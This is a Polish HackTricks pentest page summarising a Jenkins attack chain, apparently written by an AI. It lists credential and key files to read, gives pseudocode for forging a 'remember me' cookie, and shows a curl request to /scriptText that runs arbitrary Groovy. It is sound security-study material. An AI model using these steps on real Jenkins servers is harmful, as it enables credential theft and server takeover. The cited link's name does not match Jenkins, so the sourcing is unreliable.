Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

W tym wpisie na blogu można znaleźć doskonały sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

To jest podsumowanie stworzone przez AI części wpisu, w której nadużywa się stworzonego arbitralnego ciasteczka, aby uzyskać RCE, nadużywając lokalnego odczytu pliku, aż będę miał czas, aby stworzyć własne podsumowanie:

Wymagania wstępne ataku

  • Wymaganie funkcji: "Zapamiętaj mnie" musi być włączone (domyślne ustawienie).

  • Poziomy dostępu: Atakujący potrzebuje uprawnień Overall/Read.

  • Dostęp do sekretów: Możliwość odczytu zarówno zawartości binarnej, jak i tekstowej z kluczowych plików.

Szczegółowy proces eksploatacji

Krok 1: Zbieranie danych

Pobieranie informacji o użytkowniku

  • Uzyskaj konfigurację użytkownika i sekrety z $JENKINS_HOME/users/*.xml dla każdego użytkownika, aby zebrać:

  • Nazwa użytkownika

  • Ziarno użytkownika

  • Znacznik czasu

  • Hash hasła

Ekstrakcja klucza sekretnego

  • Wyodrębnij klucze kryptograficzne używane do podpisywania ciasteczka:

  • Klucz sekretu: $JENKINS_HOME/secret.key

  • Klucz główny: $JENKINS_HOME/secrets/master.key

  • Plik klucza MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Krok 2: Fałszowanie ciasteczka

Przygotowanie tokena

  • Oblicz czas wygaśnięcia tokena:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Dodaje jedną godzinę do bieżącego czasu
  • Konkatenacja danych dla tokena:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Deszyfrowanie klucza MAC

  • Deszyfruj plik klucza MAC:

key = toAes128Key(masterKey)  // Konwertuj klucz główny na format klucza AES128
decrypted = AES.decrypt(macFile, key)  // Deszyfruj plik .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Obliczanie podpisu

  • Oblicz HMAC SHA256:

mac = HmacSHA256(token, macKey)  // Oblicz HMAC używając tokena i klucza MAC
tokenSignature = bytesToHexString(mac)  // Konwertuj MAC na ciąg szesnastkowy

Kodowanie ciasteczka

  • Generuj końcowe ciasteczko:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Koduj dane ciasteczka w Base64

Krok 3: Wykonanie kodu

Uwierzytelnianie sesji

  • Pobierz tokeny CSRF i sesji:

  • Wykonaj żądanie do /crumbIssuer/api/json, aby uzyskać Jenkins-Crumb.

  • Przechwyć JSESSIONID z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "zapamiętaj mnie".

Żądanie wykonania polecenia

  • Wyślij żądanie POST z skryptem Groovy:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.

Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać dowolny kod.

Support HackTricks

Last updated